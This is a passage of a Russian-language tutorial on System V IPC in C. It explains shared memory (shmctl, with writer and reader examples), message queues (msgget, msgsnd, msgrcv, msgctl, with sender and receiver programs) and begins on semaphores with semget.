Первый аргумент, shmid, - это идентификатор сегмента разделяемой памяти. Этот идентификатор является идентификатором разделяемой памяти, который является возвращаемым значением системного вызова shmget ().
Второй аргумент, cmd, - это команда для выполнения требуемой операции управления в сегменте общей памяти.
Допустимые значения для cmd:
IPC_STAT- Копирует информацию о текущих значениях каждого члена struct shmid_ds в переданную структуру, указанную buf. Эта команда требует разрешения на чтение для сегмента разделяемой памяти.
IPC_SET - Устанавливает ID пользователя, ID группы владельца, разрешения и т.д., на которые указывает структура buf.
IPC_RMID- отмечает сегмент, который нужно уничтожить. Сегмент уничтожается только после того, как последний процесс отсоединил его.
IPC_INFO - Возвращает информацию об ограничениях и параметрах разделяемой памяти в структуре, указанной buf.
SHM_INFO - Возвращает структуру shm_info, содержащую информацию о потребленных системных ресурсах разделяемой памятью.
Третий аргумент, buf, является указателем на структуру разделяемой памяти с именем struct shmid_ds. Значения этой структуры будут использоваться либо для установки, либо для получения согласно cmd.
Этот вызов возвращает значение, зависящее от переданной команды. При успешном выполнении IPC_INFO и SHM_INFO или SHM_STAT возвращает индекс или идентификатор сегмента разделяемой памяти или 0 для других операций и -1 в случае сбоя. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Давайте рассмотрим следующую примерную программу.
Создайте два процесса, один для записи в общую память (shm_write.c), а другой для чтения из общей памяти (shm_read.c)
Программа выполняет запись в общую память посредством процесса записи (shm_write.c) и чтение из общей памяти посредством процесса чтения (shm_read.c)
В общей памяти процесс записи создает общую память размером 1 КБ (и флаги) и присоединяет общую память.
Процесс записи записывает 5 раз алфавиты от «A» до «E» каждый из 1023 байтов в общую память. Последний байт означает конец буфера
Процесс чтения будет читать из общей памяти и записывать на стандартный вывод
Действия процесса чтения и записи выполняются одновременно
После завершения записи процесс записи обновляется, указывая на завершение записи в общую память (с полной переменной в struct shmseg)
Процесс чтения выполняет чтение из общей памяти и отображается на выходе до тех пор, пока не получит индикацию завершения процесса записи (полная переменная в struct shmseg)
Выполняет процесс чтения и записи несколько раз для упрощения, а также во избежание бесконечных циклов и усложнения программы.
Ниже приведен код для процесса записи (Запись в общую память - файл: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Этапы компиляции и выполнения
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Ниже приведен код для процесса чтения (чтение из общей памяти и запись в стандартный вывод - файл: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Этапы компиляции и выполнения
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Зачем нам нужны очереди сообщений, если у нас уже есть разделяемая память? Это будет по нескольким причинам, давайте попробуем разбить это на несколько пунктов для упрощения -
Как понятно, после того, как сообщение получено процессом, оно больше не будет доступно для других процессов. В то время как в общей памяти данные доступны для доступа нескольким процессам.
Если мы хотим общаться с небольшими форматами сообщений.
Данные в общей памяти должны быть защищены синхронизацией при одновременном взаимодействии нескольких процессов.
Частота записи и чтения с использованием общей памяти высока, поэтому реализовать эту функциональность было бы очень сложно. Не стоит использовать в таких случаях.
Что делать, если всем процессам не нужен доступ к разделяемой памяти, но очень немногим процессам нужен только он, было бы лучше реализовать с очередями сообщений.
Если мы хотим взаимодействовать с разными пакетами данных, скажем, процесс A отправляет сообщение типа 1 для процесса B, типа сообщения 10 для процесса C и типа сообщения 20 для процесса D. В этом случае проще реализовать с помощью очередей сообщений. Чтобы упростить данный тип сообщения как 1, 10, 20, он может быть либо 0, либо + ve, либо –ve, как описано ниже.
Конечно, порядок очереди сообщений - FIFO (First In First Out). Первое сообщение, вставленное в очередь, будет получено первым.
Использование общей памяти или очередей сообщений зависит от потребностей приложения и от того, насколько эффективно его можно использовать.
Связь с использованием очередей сообщений может происходить следующими способами:
Запись в общую память одним процессом и чтение из общей памяти другим процессом. Как мы знаем, чтение также можно выполнять с помощью нескольких процессов.
Запись в общую память одним процессом с разными пакетами данных и чтение из нее несколькими процессами, т. Е. По типу сообщения.
Увидев определенную информацию об очередях сообщений, пришло время проверить системный вызов (System V), который поддерживает очереди сообщений.
Чтобы выполнить связь с использованием очередей сообщений, выполните следующие действия:
Step 1 - Создайте очередь сообщений или подключитесь к уже существующей очереди сообщений (msgget ())
Step 2 - Запись в очередь сообщений (msgsnd ())
Step 3 - Чтение из очереди сообщений (msgrcv ())
Step 4 - Выполнять контрольные операции над очередью сообщений (msgctl ())
Теперь давайте проверим синтаксис и некоторую информацию о вышеуказанных вызовах.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
Этот системный вызов создает или выделяет очередь сообщений System V. Необходимо передать следующие аргументы -
Первый аргумент, ключ, распознает очередь сообщений. Ключом может быть произвольное значение или значение, которое может быть получено из библиотечной функции ftok ().
Второй аргумент, shmflg, указывает требуемый флаг (-ы) очереди сообщений, например IPC_CREAT (создание очереди сообщений, если не существует) или IPC_EXCL (используется с IPC_CREAT для создания очереди сообщений, и вызов завершается ошибкой, если очередь сообщений уже существует). Также необходимо передать разрешения.
Note - Обратитесь к предыдущим разделам для получения подробной информации о разрешениях.
Этот вызов вернет действительный идентификатор очереди сообщений (используемый для дальнейших вызовов очереди сообщений) в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Различные ошибки в отношении этого вызова: EACCESS (отказано в разрешении), EEXIST (очередь уже существует, не может быть создана), ENOENT (очередь не существует), ENOMEM (недостаточно памяти для создания очереди) и т. Д.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
Этот системный вызов отправляет / добавляет сообщение в очередь сообщений (System V). Необходимо передать следующие аргументы -
Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено после успешного выполнения msgget ()
Второй аргумент, msgp, является указателем на сообщение, отправленное вызывающей стороне, определенное в структуре следующей формы:
struct msgbuf {
long mtype;
char mtext[1];
};
Переменная mtype используется для связи с разными типами сообщений, подробно объясненных в вызове msgrcv (). Переменная mtext - это массив или другая структура, размер которой определяется msgsz (положительное значение). Если поле mtext не упоминается, оно считается сообщением нулевого размера, что разрешено.
Третий аргумент, msgsz, - это размер сообщения (сообщение должно заканчиваться нулевым символом).
Четвертый аргумент, msgflg, указывает определенные флаги, такие как IPC_NOWAIT (немедленно возвращается, если в очереди не найдено сообщение, или MSG_NOERROR (обрезает текст сообщения, если больше, чем msgsz байт))
Этот вызов вернет 0 в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Этот системный вызов извлекает сообщение из очереди сообщений (System V). Необходимо передать следующие аргументы -
Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено после успешного выполнения msgget ()
Второй аргумент msgp - это указатель на сообщение, полученное от вызывающего. Он определяется в структуре следующей формы -
struct msgbuf {
long mtype;
char mtext[1];
};
Переменная mtype используется для связи с разными типами сообщений. Переменная mtext - это массив или другая структура, размер которой определяется msgsz (положительное значение). Если поле mtext не упоминается, оно считается сообщением нулевого размера, что разрешено.
Третий аргумент, msgsz, - это размер полученного сообщения (сообщение должно заканчиваться нулевым символом).
Последний аргумент msgtype указывает тип сообщения -
If msgtype is 0 - Читает первое полученное сообщение в очереди
If msgtype is +ve - Читает первое сообщение в очереди типа msgtype (если msgtype равно 10, то читает только первое сообщение типа 10, даже если другие типы могут находиться в очереди в начале)
If msgtype is –ve - Читает первое сообщение самого низкого типа, меньшего или равного абсолютному значению типа сообщения (скажем, если msgtype равен -5, тогда оно читает первое сообщение типа меньше 5, то есть типа сообщения от 1 до 5)
Пятый аргумент, msgflg, указывает определенные флаги, такие как IPC_NOWAIT (немедленно возвращается, если в очереди не найдено сообщение, или MSG_NOERROR (обрезает текст сообщения, если больше, чем msgsz байтов)
Этот вызов вернет количество байтов, фактически полученных в массиве mtext в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Этот системный вызов выполняет операции управления очередью сообщений (System V). Необходимо передать следующие аргументы -
Первый аргумент, msgid, распознает очередь сообщений, т. Е. Идентификатор очереди сообщений. Значение идентификатора получено после успешного выполнения msgget ()
Второй аргумент, cmd, - это команда для выполнения требуемой операции управления очередью сообщений. Допустимые значения для cmd:
IPC_STAT- Копирует информацию о текущих значениях каждого члена struct msqid_ds в переданную структуру, указанную buf. Для этой команды требуется разрешение на чтение очереди сообщений.
IPC_SET - Устанавливает ID пользователя, ID группы владельца, разрешения и т.д., на которые указывает структура buf.
IPC_RMID - Немедленно удаляет очередь сообщений.
IPC_INFO - Возвращает информацию об ограничениях очереди сообщений и параметрах в структуре, на которую указывает buf, которая имеет тип struct msginfo
MSG_INFO - Возвращает структуру msginfo, содержащую информацию о потребленных системными ресурсами очередью сообщений.
Третий аргумент, buf, является указателем на структуру очереди сообщений с именем struct msqid_ds. Значения этой структуры будут использоваться либо для установки, либо для получения согласно cmd.
Этот вызов вернет значение в зависимости от переданной команды. Успешное выполнение IPC_INFO и MSG_INFO или MSG_STAT возвращает индекс или идентификатор очереди сообщений или 0 для других операций и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
После ознакомления с основной информацией и системными вызовами, касающимися очередей сообщений, теперь пора проверить с помощью программы.
Давайте посмотрим описание, прежде чем смотреть программу -
Step 1 - Создайте два процесса, один для отправки в очередь сообщений (msgq_send.c), а другой для извлечения из очереди сообщений (msgq_recv.c)
Step 2- Создание ключа с помощью функции ftok (). Для этого изначально создается файл msgq.txt для получения уникального ключа.
Step 3 - Процесс отправки выполняет следующее.
Читает строку, введенную пользователем
Удаляет новую строку, если она существует
Отправляет в очередь сообщений
Повторяет процесс до конца ввода (CTRL + D)
Как только окончание ввода получено, отправляет сообщение «конец», означающее конец процесса.
Step 4 - В процессе приема выполняет следующее.
- Читает сообщение из очереди
- Отображает вывод
- Если полученное сообщение - «конец», процесс завершается и завершается
Для упрощения мы не используем тип сообщения в этом примере. Кроме того, один процесс выполняет запись в очередь, а другой процесс читает из очереди. Это можно расширить по мере необходимости, т. Е. В идеале один процесс будет записывать в очередь, а несколько процессов читают из очереди.
Теперь проверим процесс (отправка сообщения в очередь) - Файл: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Этапы компиляции и выполнения
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
Ниже приведен код процесса получения сообщения (получение сообщения из очереди) - Файл: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Этапы компиляции и выполнения
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
Первый вопрос, который приходит в голову: зачем нам семафоры? Простой ответ, чтобы защитить критическую / общую область, используемую несколькими процессами.
Предположим, несколько процессов используют одну и ту же область кода, и если все хотят иметь доступ параллельно, то результат перекрывается. Скажем, например, несколько пользователей используют только один принтер (общий / критический раздел), скажем, 3 пользователя получают 3 задания одновременно, если все задания запускаются параллельно, то вывод одного пользователя перекрывается с другим. Итак, нам нужно защитить это с помощью семафоров, то есть блокировать критическую секцию, когда один процесс запущен, и разблокировать, когда это делается. Это будет повторяться для каждого пользователя / процесса, чтобы одно задание не перекрывалось другим.
В основном семафоры делятся на два типа -
Binary Semaphores - Только два состояния 0 и 1, т. Е. Заблокировано / разблокировано или доступно / недоступно, реализация Mutex.
Counting Semaphores - Семафоры, которые позволяют произвольно подсчитывать ресурсы, называются семафорами подсчета.
Предположим, что у нас есть 5 принтеров (чтобы понять, что 1 принтер принимает только 1 задание) и у нас есть 3 задания для печати. Теперь на 3 принтера будет отдано 3 задания (по 1). Снова 4 работы пришли, пока это продолжается. Теперь из 2 доступных принтеров 2 задания были запланированы, и у нас осталось еще 2 задания, которые будут выполнены только после того, как один из ресурсов / принтеров станет доступен. Этот вид планирования по доступности ресурсов можно рассматривать как подсчет семафоров.
Чтобы выполнить синхронизацию с использованием семафоров, выполните следующие действия:
Step 1 - Создайте семафор или подключитесь к уже существующему семафору (semget ())
Step 2 - Выполнять операции с семафором, т. Е. Выделять, освобождать или ждать ресурсов (semop ())
Step 3 - Выполнять контрольные операции над очередью сообщений (semctl ())
Теперь давайте проверим это с помощью имеющихся у нас системных вызовов.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Этот системный вызов создает или выделяет набор семафоров System V. Необходимо передать следующие аргументы -
Первый аргумент, ключ, распознает очередь сообщений. Ключом может быть произвольное значение или значение, которое может быть получено из библиотечной функции ftok ().
Второй аргумент, nsems, указывает количество семафоров. Если двоичный, то он равен 1, что означает необходимость 1 набора семафоров, в противном случае - в соответствии с требуемым количеством наборов семафоров.
Третий аргумент, semflg, указывает требуемый флаг / ы семафора, например IPC_CREAT (создание семафора, если он не существует) или IPC_EXCL (используется с IPC_CREAT для создания семафора, и вызов завершается ошибкой, если семафор уже существует). Также необходимо передать разрешения.
Note - Обратитесь к предыдущим разделам для получения подробной информации о разрешениях.
Этот вызов вернет действительный идентификатор семафора (используемый для дальнейших вызовов семафоров) в случае успеха и -1 в случае неудачи. Чтобы узнать причину сбоя, проверьте с помощью переменной errno или функции perror ().
Различные ошибки в отношении этого вызова: EACCESS (отказано в разрешении), EEXIST (очередь уже существует, не может быть создана), ENOENT (очередь не существует), ENOMEM (недостаточно памяти для создания очереди), ENOSPC (максимальное количество установленных ограничений превышено) и т. д.
#include <sys/types.h>
#include <sys/ipc.h>
